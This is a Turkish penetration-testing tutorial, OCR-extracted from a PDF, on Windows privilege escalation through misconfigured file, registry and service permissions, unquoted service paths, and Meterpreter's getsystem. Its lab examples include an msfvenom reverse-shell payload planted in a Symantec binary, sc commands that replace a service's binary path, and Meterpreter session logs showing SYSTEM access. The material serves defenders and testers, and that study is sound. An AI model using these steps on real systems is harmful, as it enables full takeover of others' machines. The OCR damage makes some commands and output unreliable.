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1. Girig

Sizma testlerinde Windows isletim sistemi glivenlik uzmanlarinin karsisina oldukga fazla gtkmaktadir.
Windows isletim sistemi tizerinde sinirli hak seviyesinde hedef sistemde oturum elde etmek genelde
kolay olabilir ancak bir sonraki sisteme gecebilmek icin bulundugunuz sistemde en yiksek hak
seviyesine cikip tam hakimiyet kurmaniz gerekmektedir. Ortalama bir yapida s6z konusu tam

hakimiyeti sagladiktan sonra yapinin blyik cogunlugu ele gecirmek kolaylasacaktir.

Bu noktada hak ylikseltme zafiyetleri ¢coziim icin yardimci olmaktadir. Hak ylikseltme basit anlamiyla
herhangi bir yapilandirma veya gelistirme eksikligini/hatasini kullanarak bir Ust veya en Ust hak
seviyesine ¢gikmaktadir diyebiliriz. Yazi igerisinde tanimlamadan da anlasilacagi Gizere hedef sistem
Uzerinde ¢alisan servislerin, uygulamalarin veya Uglincl parti uygulamalarin gelistirilmesi veya
yapilandiriimasi asamasinda ortaya cikan eksiklikleri/hatalar istismar ederek nasil hak yikseltilir
isleyecegiz. Ancak yazi igerisinde servisin veya uygulamanin gelistiriime asamasinda ortaya ¢ikan

zafiyetlere degil yapilandirma kaynakli olan zafiyetlere odaklanacagiz.

Tim glvenlik yamalarinin ve onlemlerin uygulandigi bir isletim sisteminde eksik veya hatall
gerceklestirilen yapilandirma(lar) isletim sistemini savunmasiz birakabilir ve ele geciriimesine neden

olabilir.

Yazi boyunca anlatilan igerik igin Windows Server 2012 isletim sistemi Uzerinde olusturulmus

“PwnAble” isminde bir servis ve daha 6nce zafiyeti duyurulmus Ggtincl parti bir yazim kullaniimistir.



2.Bilgi Toplamada Kullanilan Araglar

Hak ylkseltme galismasi icin hedef sistem lizerinde hedef alinacak uygulamalarin veya servislerin
yapilandiriimasina yonelik belli bash sorgulamalarin yapilmasi gerekmektedir. Bu islemler igin

kullanilabilecek bazi araglar asagida verilmistir.

e Accesschk
o Sistem yoneticileri tarafindan kullanilan bu arag ile isletim sistemindeki kullanicilarin
veya kullanici gruplarinin hangi dosyalara, dizinlere, kayit defteri girdilerine, global
nesnelere ve servislere erisimlerinde hangi haklara sahip oldugunu gosterir.
o https://technet.microsoft.com/en-us/sysinternals/accesschk.aspx
e Icacls
o Windows sistemlerde kurulum ile beraber gelen bu arag ile dizin veya dosyalarin
DACLs bilgilerine erisilebilir ya da degistirilebilir.
o https://technet.microsoft.com/tr-tr/library/cc753525(v=ws.10).aspx
e Process Explorer
o Windows isletim sisteminde o an cgalisan uygulamalari derinlemesine takip
edilebilecek, degisiklik yapilabilecek olan uygulamadir. Standart gérev yoneticisinin
gelismis versiyonu olarak tanimlanabilir, gelismis EXE ve DLL takibi one c¢ikan
ozelligidir.
o https://technet.microsoft.com/tr-tr/sysinternals/processexplorer
e Windows Privesc Check
o Agik kaynak kodlu olarak Python dilinde gelistirilen arag ile hedef sistem Uzerindeki
yapilandirma hatalarindan kaynaklanan zafiyetlerin tespiti gerceklestirilebilir. Bu
alandaki en popiiler araglardan bir tanesidir. Ara¢ ayni zamanda bazi liglincli parti
yazilmalarin glincellestirme eksiklerini de tespit edilebilmektedir.
o https://github.com/pentestmonkey/windows-privesc-check
e PowerUp
o Agik kaynak kodlu olarak Powershell ile gelistirilen arag ile hedef sistem Uzerindeki
yapilandirma hatalarindan kaynaklanan zafiyetlerin tespiti gerceklestirilebilir.

o https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp



WPC-PS
o Bu alandaki bir baska arag¢ olan WPC-PS, agik kaynak kodlu olarak Powershell ile
gelistirilmektedir. Arac ile hedef sistem Uizerindeki yapilandirma hatalarindan
kaynaklanan zafiyetlerin tespiti gerceklestirilebilir.

o https://github.com/silentsignal/wpc-ps



3. Yapilandirma Hatalan/Eksiklikleri ve Tespiti

Asagidaki baslklarda bir Windows isletim sisteminde olabilecek yapilandirma hatalar le ilgili

detaylari verilmistir.
3.1. Giivenli Olmayan Dosya/Dizin izinleri

Windows isletim sisteminde her bir servisin, uygulamanin birbirinden bagimsiz dizin ve alt dizinleri
bulunmaktadir. Bu dizin ve alt dizinlerde servislerin, uygulamalarin ¢alistirilabilir dosyalari basta
olmak (izere bir¢ok dosya bulunur. Bu noktada genel olarak iki farkli yapilandirma zayifig ile

karsilagiimaktadir.

e Hedef servisin bulundugu dizinin, alt dizinlerinin veya servis ile iliskili dosyalarin izinlerinin
glvenilir olarak belirlenmemesi

e Direkt olarak servisin ¢alistirilabilir dosyasinin izinlerinin gtivenilir olarak belirlenmemesi

Yukarida da deginilen “icacls” isimli arag kullanilarak hedef dizin ve dosyalarin izinleri hakkinda bilgi
alinabilir. Ornek olarak asagida “PwnAble” servisinin dizini ve servisin ¢alistirilabilir dosyasinin izinleri

sz konusu arag ile sorgulanmustir.

C:\> icacls 'C:\Program Files\PwnAble'
C:\Program Files\PwnAble Everyone:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(l)(F)
NT SERVICE\TrustedInstaller:(1)(Cl)(10)(F)
NT AUTHORITY\ASYSTEM:(1)(F)
NT AUTHORITY\SYSTEM:(1)(O1)(CI)(I0)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(1)(Ol1)(Cl)(I0)(F)
BUILTIN\Users:(l)(RX)
BUILTIN\Users:(1)(Ol)(CI)(I0)(GR,GE)
CREATOR OWNER:(I)(O1)(CI)(I0)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION
PACKAGES:(1)(O1)(Cl)(I0)(GR,GE)

Successfully processed 1 files; Failed processing O files



PS C:\> icacls 'C:\Program Files\PwnAble\pwn.exe'
C:\Program Files\PwnAble\pwn.exe BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)
5-1-5-5-0-175763:(RX)
Everyone:(l)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing O files

Sorgunun giktisindan da anlasilacagi lizere hedef servisin dizininin ve ¢alistirilabilir dosyasinin izinleri
arasinda “Everyone (I)(F)” ibaresi gegmektedir. Bu durum, hedef isletim sistemindeki herhangi bir
kullanicinin servisin dizini ve galistirilabilir dosyasi Gizerinde islem yapabilir anlamina gelmektedir. S6z
konusu servisin “NT AUTHORITY\SYSTEM” haklariyla ¢alistigini g6z onunda bulundurursak saldirgan
hedef servisin bu yapilandirma zafiyetinin kullanarak servisin ¢alistigi hak olan “NT

AUTHORITY\SYSTEM” haklarina cikabilir.

Bu konuda daha o6nce yayinlanmis bir zafiyet olan “Symantec pcAnywhere - Insecure File
Permissions Local Privilege Escalation, CVE-2011-3479” 6rnek verilebilir. S6z konusu yazilimin
kullandig dizin herhangi bir kullanici tarafindan midahale edilebilir durumda birakilmigtir. Ayni
zamanda yazilimin kullandig diger calistirlabilir dosyalardan bazilarinin izinleri de gerekli sekilde
ayarlanmamis ve herhangi bir kullanici tarafindan miidahale edilebilir sekilde birakilmistir. Bu
durumda hedef sistemde yazim yUkli ise saldirgan servisin kullandig calistirilabilir dosyalardan

herhangi birisine miidahale edip kendi dosyasi ile degistirerek sistemi ele gecirebilir.

Symantec vyazilimi icin duyurulan zafiyette yanlis vyapilandinlan dosyalardan biri olan,
“WinAw32.exe” lizerinde “Everyone” grubunun “Full Control” izni vardir. Yetkisiz bir kullanici s6z
konusu dosya Uzerinde istedigi degisikligi yapabilir. Lab ortaminda dosyaya Meterpreter eklenmistir
ardindan dosya hedefteki temiz dosya ile degistirilmistir. Bu noktadan sonra hedef sistemdeki
yazihm calistiginda Meterpreter oturumu elde edilecektir. Zafiyetin istismari ile ilgili ekran

goruntileri asagida verilmistir.



Administrator: Command Prompt

inricacls C:inProgram Files (x86>-\Symantec>pcfinywhere~Winaw32. exe'
~Program Files (xB6)“Symantec“pcAnyvheresWinaw3i2.exe Everyone:<{0I>(CI>{F

NT AUTHORITY-\SYSTEM
I>CP>

[Buccessfully processed 1 files; Failed proces
NG

riles

a Symantec pcAnywhere

File Edit View Help
Home ]

Symantec pCAI’IYWhere @

Wiews

Goto Advanced Yiew

podngwhere b anager
D

B3 Ouick Connect ‘1‘ Remote Control

Actionz v

Edit Remate Settings
Q—x Edit File Transfer Settings

> File Transfer
Edit Host Settings = ange t

Dretailz

=% Quick Connect
"-'a Find =

h:m

Sekil 1 - Dosyanin lzinleri ve Yazilimin Calistirilimasi

File Edit Terminal Tabs Help
# 1s -1h

1 root root 8K Feb 10 2009 Winaw3Z.exe
3 6 platform wind -k -p wind neterpreter/r e_tcp LHOST: 168.48.132 LPORT=443 -e

(iteratio
with final o}

e

-lh
1 root root 1.1M 1 Winaw32-01.exe
2009 Winaw3Z.exe

Terminal - root@machine: ~
Terminal Tabs Help

> exploit

58) at 2016-02-2

ndows 2012 (Build 9
64 t Pro

Sekil 2 - Dosyaya Meterpreter Eklenmesi ve Oturumun Elde Edilmesi



3.2. Guvenli Olmayan Kayit Defteri Degerleri

Windows isletim sisteminde servisler ile ilgili olabilecek veriler kayit defteri igerisinde
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services” dizin yolunda tutulur. Asagidaki
ekran gorintlslinde hedef isletim sistemi lizerinde calisan “PwnAble” servisine ait kayit defterindeki

bilgiler goriilmektedir.

g Registry Editor
File Edit View Favorites Help
----- . Processor ||| Mame Type Data
b ProfSve ab]| (Default) REG_SZ (value not set)
D | Psched {"]Description REG_SZ Vulnerable for privilege escalation attack vectors.
""" . PwnAble ‘{"]Displa)rName REG_SZ Pwnable Service
1 ql2300 24 ErrorControl REG_DWORD 0%00000001 (1)
b gl ab]|magePath REG_EXPAND SZ  C:\Program Files\PwnAble\pwn.exe
- RasAcFl f’_"]ObjectName REG_SZ LocalSystem
> E::ﬂ't':"'rp" %) Start REG_DWORD (x00000002 (2)
 Resl2tp ‘.’.'o']Type REG_DWORD 000000010 (16)
. RasMan
b RasPppoe
| RasSstp
| rdbss
i | RDMAMDK
[> ) rdpbus
i |, RDPDR
b || RDPNP
b || RDPUDD
b- | RdpVideoMinipart
i |, RDPWD
i | ReFs

f> - Remotebiccess

[> , RemoteRegistry
[> | RpcEptMapper
i | Rpclocator

- RpcSs

. R5oPProv

| rspndr

-} s3cap

o ; sacdre

b ) sacsvr
-l SamSs
bl shpZport
f> J SCardSvr
[~ L. scfilter

[~ | Schedule

< m >

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PwnAble

Asagidaki ekran goriintisinde hedef servisin kayit defteri dizini icin izin bilgileri gérilmektedir. Ekran
gorintislinde de gorilecegi lzere servisin kayit defteri degerleri Gzerinde “Authenticated Users”

grubuna dahil kullanicilar igin “Full Control” hakki tanimlanmigtir.



iy Registry Editor
File Edit View Favorites Help
----- . Processor A || Mame Type Data
P - ProfSvc g‘_'](DefauIt) REG_SZ (value not set)
D ./ Psched fﬂDescription REG_SZ Vulnerable for privilege escalation attack vectors.
i [ PwnAble _é}_']DisplayName REG_SZ Pwnable Service
b1 ql2300 24| ErrorControl REG_DWORD (00000001 (1)
L qlab 5] ImagePath REG_EXPAND SZ  C:\Program Files\PwnAble\pwn,exe
& RasAcd 25| ObjectName REG_SZ LocalSystem
b [ RasAgileVpn 2] Start REG_DWORD 0x0D00DD02 (2)
2:22'::’ 2 Type REG_DWORD 0x00000010 (16)
i RasMan Permissions for PwnAble E3
- RasPppoe
- |, RasSstp m‘
rdbss
| RDMAMNDK GI‘OLID Oor user names:
rdpbus A |
... || RDPDR 8, 5YsTEM
[> | RDPNP %Adminishators (DZLAB Administrators) =
». |, RDPUDD 82, Users (DZLABUsers)
b RdpVideoMiniport < m 5 z

<

RDPWD
ReFS

. Remotefccess
- RemoteRegistry
. RpcEptMapper
. Rpclocator
-}l RpcSs

. RSoPProw

- Tspndr

| s3cap

) sacdry

| sacsvr

-1 SamSs

|| sbp2port

. SCardSwr

. | schilter

| Schedule

Users

Pemigsions for Authenticated

Full Control
Read

Special permissions

click Advanced.

For special pemissions or advanced settings,

Leam about access control and pemissions

ok || camesl || ey

>

Computet\HKEY_LOCAL_MACHINEVSYSTEM\ CurrentControlSet\Services\ PwnAble

Bu durum, herhangi bir sekilde isletim sisteminde oturumu olan kullanicinin ilgili kayit defteri

degerleri tizerinde degisiklik yapabilir, anlamina gelmektedir. Ornek olarak “ImagePath” degeri

servisin calistinlabilir dosyasinin dizin yolunu igerir, saldirgan bu kayit defteri degerini kendi

uygulamasinin dizin yolu ile degistirerek servisin haklarinda calisacak bir uygulama elde etmis olur.

Boylece kisitl olan hakkini servisin haklarina ¢ikarmis olacaktir.



3.3. Giivenli Olmayan Servis izinleri

Windows isletim sisteminde dosyalar, servisler ya da diger objeler DACLs degerlerine sahiptir. DACLs
bir obje lizerinde bulunan kullanicilarin veya gruplarin yetki sinirlarini belirler. Ornegin, bir servis
Uzerinde “Authenticaed Users” grubu okuma iznine sahip oldugu gibi servisi baslatma, servisi
durdurma veya ayarlarini degistirme hakkina sahip olabilir. Bu haklar DACLs kisminda belirlenir.
Windows isletim sistemlerinde servis ekleme, ayarlarini degistirme gibi haklar sadece Administrator
haklarina sahip kullanicilarda bulunur, bazi durumlarda Administrators grubuna dahil olmayan
kullanicilar igin de servisler lizerinde islem yapma hakki tanimlanabilir. Bu durumda saldirgan servisin

ayarlarini degistirerek hak yikseltebilir.

Ornek olarak “halil” kullanicisi kisith bir kullanici olup “NT AUTHORITY\SYSTEM” haklarinda calisan
“PwnAble” servisini baslatma, durdurma, yapilandirmasini degistirmek gibi haklara sahiptir.

Asagidaki ekran goriintisinde servisin izin durumlarini igeren ekran gortntuleri verilmistir.

[n=] pwn.exe:2984 Properties = =] =
Image | Performance I Performance Graph I Disk and Network
GPUGraph | Services | Threads | TcPAP | Security | Environment | Strings
{%vh;aa PwnAble Permissions _
Service Securty ||

PwnAble Group or User Names:
o futhenticated Uses —~ |
52 SvSTEM
S?_',Administmtors (DZLAB"Administratars)
52 INTERACTIVE
52 SERVICE
| Add... | | Remave |
Pemissions for Authenticated
Users Allow Deny
Full Control O O
Read O O
Wite D D
Special permizsions
For special pemissions or advanced settings,
click Advanced. B
Vulnerablg
Leam about access control and permissions
| ok || cance |
| Stop || Restart || Pause | Resume
| oK | | Cancel

Sekil 3 - Servis Uzerindeki Haklar



Permission Entry for PwnAble [= 1o [

Principal: ~ Authenticated Users  Select a principal

Type: Allow v
Advanced permissions: Show basic permissions
Query Status Start

[#] Query Config [w] Stop @
[w] Change Config [[] User-Defined Control
Interrogate [[] Read Permissions

[+] Enumnerate Dependents [[] Change Permissions
[] Pause/Resume [[] Change Owner

Clear all

Sekil 4 - DACLs

S6z konusu servisin DACLs degerlerine accesschk araci ile bakildiginda da ayni sonug gortlebilir.

C:\ accesschk.exe —quvcw PwnAble

o) Administrator: Command Prompt HE

:nrsc ge PunfAble
[EC] QueryServiceConfig SUCCESS

[SERVICE_NAME: PunAble
TYPE

1@ WIN32_OWN_PROCESS

2 AUTO_START

1 NORMAL

C:sProgram Files“PunAble“pun.exe

START_TYPE H
ERROR_CONTROL H
BINARY_PATH_NAME H
LOAD_ORDER_GROUP H
TAG : A

DISPLAY _HAME : Punfible Service
DEPENDENCIES H
SERVICE_START_NAME : LocalSystem
:nraccesschk.exe —guucw Punfble

Medium Mandatory Level (Default)> [No—Urite—Upl

RW NT AUTHORITY-SYSTEH
SERVICE_ALL_ACCESS

RW BUILTIN“Administrators
SERVICE_ALL_ACCESS

RW NT AUTHORITY-~Authenticated Users
SERVICE_QUERY_STATUS
SERUVICE_QUERY_CONFIG
SERUVICE_CHANGE_GONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENIS
SERVICE_START
SERVICE_STOP

Sekil 5 - Servis Bilgileri ve Accessck Kullanimi



Asagidaki komutlar kullanilarak sirasiyla servis durdurulmus, servisin calistirilabilir dosyasi
Meterpreter ile degistirilmis ve son olarak servis tekrar baslatilmistir. Béylece aslinda yetkisiz olan
“halil” kullanicisi hedef sistemde yanlis yapilandirnlmis servis izinlerini istismar ederek “NT

AUTHORITY\SYSTEM” haklarinda ¢alisan Meterpreter oturumu elde etmistir.

Sc stop PwnAble
Sc config binPath= “C:\Users\halil\Desktop\m.exe”
Sc start PwnAble

Command Prompt

:xUsersshalil®net user bga B123 ~sadd
Byustem error 5 has occurred.

Access is denied.

\Usershhalil>whoami
zlabvhalil

:“Usersshalil¥sc gec Punfible
[5C] QueryServiceConf ig SUCCESS

[SERVICE_NAME: Punfihle

: 18 WIN32_OWN_PROCESS
START_TYPE 2 AUTO_START
ERROR_GONTROL =1 NORMAL
BINARY_PATH_NAME : C:xProgram Files“Punfible“pwn.exe
LOAD_ORDER_GROUP H
InG

E ]
DISPLAY_NAME : Punfible Service Command Prompt
DEPEMDENCIES H
SERVICE_START_NAME : LocalSystem :\Users~halil¥sc stop Punfhle

ssUsershhalil?> CERVICE_MAME: PunAble
TYPE

= 1@ WIN32_OWN_PROCESS
SIATE H
WIN32_EXIT_CODE
SERUICE_EXIT_CODE
GHEGKPOINT
WAIT_HINI

:sUsersxhalil>sc config PwnAble bhinPath= "C:xUsersshalilxDesktopm.exe"
[5C]1 ChangeServiceConfig SUCCESS

:sUsersshalil>sc start Punfible
[SC] StartService FAILED 1853:

he service did not respond to th or control request in a timely faghion.

s\Usersshalil>

Sekil 6 - Kisitl Kullanici ve Servise Miidahele

Yukaridaki ekran goriintisiinde servisi baslatildiktan sonra bir hata ciktisi gériilmektedir. Windows
isletim sistemlerinde bir servis basladiginda Service Control Manager ile iletisime gecmesi
gerekmektedir. Normalde baslamasi icin tetiklenen servis, basladiginda Service Control Manager’a
baslayabilmesi icin ne kadar siirenin gerekli oldugunu (time-out period) belirtmesi gerekir. Eger
Service Control Manager servis tarafindan bu sekilde bir bildirim alamaz ise belirli bir stire sonra
servisin islemini durdurur. Bu bekleme siiresi 6zel bir degisiklik yapiimadiysa otuz saniyeden daha
azdir. Yukaridaki ekran gorintislindeki hatanin sebebi budur. Burada dikkat edilmesi gereken nokta;
servis baslatiliyor, servisin calistirilabilir dosyasi calisiyor ancak “servis basladi” bildirimi Service

Control Manager’a gitmedigi icin belirli bir siire sonra Service Control Manager servisin islemini



durduruyor. O ylzden bu gibi durumlarda Meterpreter kullanilacaksa ya manuel olarak ya da

otomatik olarak “Migrate” isleminin yapilmasi yararli olur.

r) > exploit

Started reverse handler on 19Z2.168.48.132:443

Starting the payload handler...

Sending stage (1188911 bytes) to 1 168.48.129

Meterpreter session 1 opened (132. .48.132:443 -> 192.168.48.129:49158) at 2016-02-26 16:50:12 +0200

meterpreter > sysinfo

Computer : DZLAB

0s : Windows 2012 (Build 920@).
Architecture : x4

System Language : en_US

Domain : WORKGROUP

Logged On Users :

Meterpreter H

meterpreter > getul

Server username: NT AUTHORITY\SYSTEM

meterpreter >

Sekil 7 - Meterpreter Oturumunun Sistem Haklarinda Elde Edilmesi



3.4. Servis Calistirilabilir Dosyasinin Unquoted Birakiimasi

Windows isletim sisteminde bir servisin dizin yolu igerisinde bosluk varsa ve tirnak isaretleri (“)
arasina alinmamissa ortaya ¢ikan zafiyettir. Burada isletim sistemi servisin dizin yolunu yorumlamaya

calisiyor ve her bir boslukta servisin galistirilabilir dosyasina erismeye ¢alisiyor.

Zafiyet Windows isletim sistemlerindeki “CreateProcess” fonksiyonunun igerisindeki
“IpApplicationName” parametresinin yapisindan kaynaklanmaktadir. Fonksiyon ve parametreleri
hakkinda daha detayli bilgi ilgili MSDN sayfasindan edinilebilir. (CreateProcess function,
https.//msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx).

Ornegin servisin dizin yolu asagida gibi olsun.

C:\Program Files\PwnAble Service\pwn process.exe

isletim sistemi bu durumda servisin calistirilabilir dosyasina erisebilmek icin sirasiyla asagidaki dizin

yollarini deneyecektir.

e C:\Program.exe
e C:\Program Files\PwnAble.exe
e C:\Program Files\PwnAble Service\pwn.exe

e C:\Program Files\PwnAble Service\pwn process.exe

isletim sistemi eger ilk denemede bulamaz ise sonrakine onda da bulamaz ise bir sonrakine
gececektir ta ki calistirilabilir bir dosyaya erisene kadar. Bu durumda saldirgan eger asagidaki
dizinlerden birisine yazma iznine sahip olursa isletim sisteminin bekledigi isimde calistirilabilir dosya

ekleyerek zafiyeti istismar edebilir.

e C\
e C:\Program Files\
e C:\Program Files\PwnAble Service\

Ornegin, servis baslatildiginda isletim sistemi éncelikle “C:\Program.exe” dizin yoluna gidecektir,

saldirgan s6z konusu dizine “Program.exe” adinda kendi dosyasini olusturabilrse igletim sistemi



direkt olarak saldirganin dosyasini ¢alistiracak ve servisin gergek dizin yolu olan “C:\Program

Files\PwnAble Service\” altindaki “pwn process.exe”’e hi¢ bakmayacaktir.

Bu noktada dikkat edilmesi gereken, saldirganin muhtemel dizin yollarina isletim sisteminin bekledigi
isimde dosya olusturabilecek izinlere sahip olmasidir. Normalde “C:\” gibi kok dizinlere yetkisiz

kullanicilar igin yazma izni verilmez. Bu durumda diger segenekler degerlendirilmelidir.

Asagidaki ekran goriintiisiinde de goriilebilecegi lizere, servisin dizininde “Everyone” grubunun “Full

III

Control” vyetkisi var. isletim sistemi servisin gercek calistirilabilir dosyasindan hemen o&nce
“pwn.exe” isimli dosyanin olup olmadigina bakacaktir. S6z konusu dizine isletim sisteminin bekledigi

isimde bir dosya olusturulursa, isletim sistemi olusturulan dosyayi ¢alistiracaktir.

C:\Program Files\PwnAble Service\pwn.exe

o] Command Prompt =0l x + | PwnAble Service application Tools
“ Home  Share View Manage (2]
s\>whoani -
2labvhalil [C) = 1|« Prog.. ¥ PamAbl.. v & ] [ Search PamAble Service 2|
:\>icacls "C:\Program Files\PunAble Service" -
:\Program Files\Punfhle Service Everyone:<0I>(CI><F> Eavorits Name Type Size
NI SER ¢ Favorites
B Desktop =7 pwn process Application 05KB
& Downloads =7 pwn Application 7KB

5| Recent places

Ba tnlﬂ:(l)(ﬂl)(CI)(IO)(F)

I><RE>
.(I)(OI)(CI)(IO)(GR GE>
2(I>COT>CCI (T

ATPLICATION PACKAGE AUTHORI T¥<ALL APPLICATION P d Libraries
ACKAGES : (1>CRY) %) Documents
APPLICATION PACKAGE AUTHORITYNALL APPLICATION P
ACKAGES = <1><0I)<CI><10>(CR, GE> o Music
Buccessfully processed 1 files; Failed processing B files =] Pictures
B8 videos

N>

o Command Prompt = 18 Computer

sc qc Punfible
fieh QueryServiceConfig SUCCESS

[SERVICE_NAME: Punfble

: 1@ MIN32_OWN_PROCESS
START_TYPE @ 2 AUTO_START
ERROR_CONTROL @1 MNORMAL
BINARY _PATH_NAME : C:\Progran Files\Punfihle Service\pun process.exe
LOAD_ORDER_GROUP

TAG I

DISPLAY _HAHE : Punfible Service

DEPENDENCIES :

SERUICE_START_NAME : LocalSystem
s\»sc stop Punfihble

€l Network

m |>

[SERVI CE,#EME: Punfible

: 18 WIN32_OUN_PROCESS
H STOPPED
I.JINHZ _EX1T_CODE

WATT_HINT

:\>sc start Punfble
[SC]1 StartService FAILED 1@53:

he service did not respond to the start or control request in a timely fashion.
< n >

ditems 1 item selected 7.00 KB =

Sekil 8 - Servisin, Haklarin ve Dosyanin Durumu



msf exploit r) » exploit

Started reverse handler on 192.168.48.132:443

Starting the payload handle .

Sending stage (11883911 bytes) to 192.168.48.129

Meterpreter session 1 opened (192. .48.132:443 -> 192.168.48.129:49166) at 2016-02-28 23:10:35 +0200

meterpreter > getuid
Server username: NT AUTHORITYMSYSTEM
meterpreter > sysinfo

: DZLAB
Nindows 2012 (Build 9200).
Architecture 64
System Language
Demain

Meterpreter
meterpreter >

Sekil 9 - Meterpreter Oturumunun Elde Edilmesi

Bu zafiyet Metasploit'in “trusted_service_path” modull kullanilarak da istismar edilebilir. Modiil
zafiyet barindiran servisleri tespit edip ardindan istismar asamasina gegmektedir. Bunun igin hali
hazirda bir adet Meterpreter oturumu gerekmektedir. Modiil isletim sisteminin servis igin ilk baktig
dizine bekledigi isimde dosya olusturmayi deniyor, eger yazma islemini basaramaz ise denemeyi
birakiyor. Bu modulin yapisindan kaynaklandigi icin alt dizinlere manuel olarak bakilmasi yararl
olacaktir. Yukaridaki 6rnekte “C:\” dizini altina yazma izni olmadigi igin servisin bulundugu dizine

dosya ylklenmistir.

Zafiyetin servisin calistinlabilir dosyasinin dizin yolunun tirnak isaretleri arasina alinmadigindan
kaynaklandigl yukarida belirtilmisti. Asagidaki ekran gorintisiinde servis ile ilgili kayt defteri

durumu verilmistir.



o Registry Editor

File Edit View Favorites Help

_j., Processor |~ || Name Type Data

by ProfSve gﬂ(Da‘ault) REG_SZ (value not set)

b Psched S,E'JDescription REG_SZ Vulnerable for privilege escalation attack vectors.

il PwnAble S_?JDlsplayNamE REG_SZ PwnAble Service

b- L qizaoo 2| ErrorControl REG_DWORD. 00000001 (1)

bl gl \magaPath REG_EXPAND_SZ C:\Program Files\PwnAble Service\pwn process‘axel ®
bl Rashed k| ObjectMame REG_SZ LocalSystem “_\_‘__/
p - RashgileVpn 24 Start REG_DWORD 000000002 (2)

i ﬁ 2::@::’ 7 Type REG_DWORD 000000010 (16)

p- . RasMan

p- . RasPppoe

I~ RasSstp

.y rdbss

i}, ROMANDK

.D 1 rdpbus

i-]. RDPDR

b | RDPNP Value name:

5. RDPUDD [mageFath |

- . RdpVideoMiniport

t RDPWD Value data:

J.l ReFS - |"C.\ngmm Files\Pwnible Service'pwn process.exs’| Olmasi gereken
.p - . Remotelccess = [N—" -

b - RpcEptMapper
i || Rpclocator

p - RpcSs

p -1 RSoPProv

P rspndr

Pl s3cap

i )l sacdre

.D Ly sacsvr

.D Ju Sam5s

b \ sbp2port

b SCardSwr

.D 1 scfilter

b )i Schedule —

-

[<] B B
Computer\HKEY_LOCAL MACHIME\SYSTEM\CurrentControlSet\Services\PwnAble

Sekil 10 - Servis icin Gerekli Ayarin Yapilmasi

Zafiyetin tespiti icin Windows isletim sistemlerinde asagidaki komut calistirilarak, zafiyet barindiran

servislerin listesi elde edilebilir.

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v
"c:\windows\\" |findstr /i /v"""



3.5. Getsystem Komutu ile Hak Yiikseltmek

Herhangi bir Windows isletim sisteminde Meterpreter oturumu elde edildikten sonra eger hedef
kullanici Local Administrators grubuna dahil ise Meterpreter lzerinde “getsystem” komutu
kullanilarak “NT AUTHORITY\SYSTEM” haklarina gikilabilir. Peki, arka planda bu komut tam olarak ne

yapiyor da en yiksek hak seviyesine ulasiyoruz?

Meterpreter'de “getsystem” komutu calistirildiginda modiil (g farkli yontemden birisinin basarih
olmasi durumunda oturumu “NT AUTHORITY\SYSTEM” haklarina ¢ikarmaktadir. Bu yontemler ve

detaylari asagida verilmistir.

o Service - Named Pipe Impersonation (In Memory/Admin)
o Named Pipe Impersonation (Dropper/Admin)

o Service - Token Duplication (In Memory/Admin)

ilk iki yontem named pipe impersonation diger ydntem ise token duplication yéntemi olarak

gecmektedir.

o Service - Named Pipe Impersonation (In Memory/Admin)

o Bu yontemde Meterpreter hedef sistemde named pipe olusturur ve “cmd.exe /c
echo “some data” >\\.\pipe\[random pipe here]” iceren bir servis olusturarak
olusturdugu servisi baslatir. Ardindan Meterpreter olusturdugu “cmd.exe”’ye spawn
olup olusturdugu named pipe’a baglanmaktadir. Boylece Meterpreter named
pipelarin  Impersonation of Clients 06zelligini  kullanabilecek ve  “NT
AUTHORITY\SYSTEM” haklarina ¢ikabilecektir.

o Named Pipe Impersonation (Dropper/Admin)

o Bu yontem birinci yontem ile benzerlik gostermektedir. Meterpreter yine hedef
sistem Uzerinde named pipe olusturmakta ve token impersonation islemini
gerceklestirmektedir. Ancak bu yontemin farkliigl olusturulan named pipe’a bir
istemcinin baglanmasi gerekliligidir. Meterpreter bunun icin hedef sisteme DLL
yukler ardindan “rundll32.exe”yi bir servis olarak tetikler ve yiiklenen DLL'i
calistirmasini bekler. DLL calistirildiktan sonra olusturulan named pipe’a baglanir ve
islem tamamlanir. Bu yontemin bir tane dezavantaji bulunmaktadir. Meterpreter
sisteme DLL yikledigi icin bu durum antivirus vb. yazilimlarinin dikkatini ¢ekebilir ya

da forensic ¢alismalari esnasinda iz birakma durumu ortaya cikabilir.



o Service - Token Duplication (In Memory/Admin)

o Bir diger yontem olan token duplication yontemi digerlerinden biraz farkhdir.
Meterpreterdeki bu yontemin dezavantaji x86 mimarisine ve SeDebugPrivilege’a
ihtiya¢ duymasidir. Meterpreter burada sistemdeki tim calisan servisleri tarayip
SYSTEM haklarinda c¢alisanlari tespit etmekte ve Reflective DLL yontemini kullanarak
¢alisan servislerden birisine DLL enjekte etmektedir. Enjekte islemi basarili olduktan
sonra DLL, SYSTEM tokenini elde etmektedir. Boylece Meterpreter oturumu “NT
AUTHORITY\SYSTEM” haklarina ¢ikmis olmaktadir.



4.Sonug

Genelde isletim sistemleri sikilastirilirken gézden kagirilan veya énem verilmeyen yapilandirma
eksikleri/hatalar tim glincellestirmeler gegilmis, son versiyon yaziimlar kullanilsa dahi isletim
sistemini savunmasiz birakmaktadir. Boyle sistemler icin yapilandirma eksikliklerini/hatalarini
istismar etmek sizma testlerinde en avantajli saldiri vektoriduir diyebiliriz. Yazi icerisinde bu duruma

dikkat ¢cekilmeye galgiimistir.

Tekrardan hatirlatmakta fayda oldugunu diistind(iglim bir nokta, yazi icerisinde anlatilan zafiyetler
isletim sistemi bagimsizdir ve yapilandirma ile ilgilidir. Bu yazi konu ile alakali ilk versiyon olup bir Gst

seviye teknikleri iceren yontemler diger versiyonda yer alacaktir.
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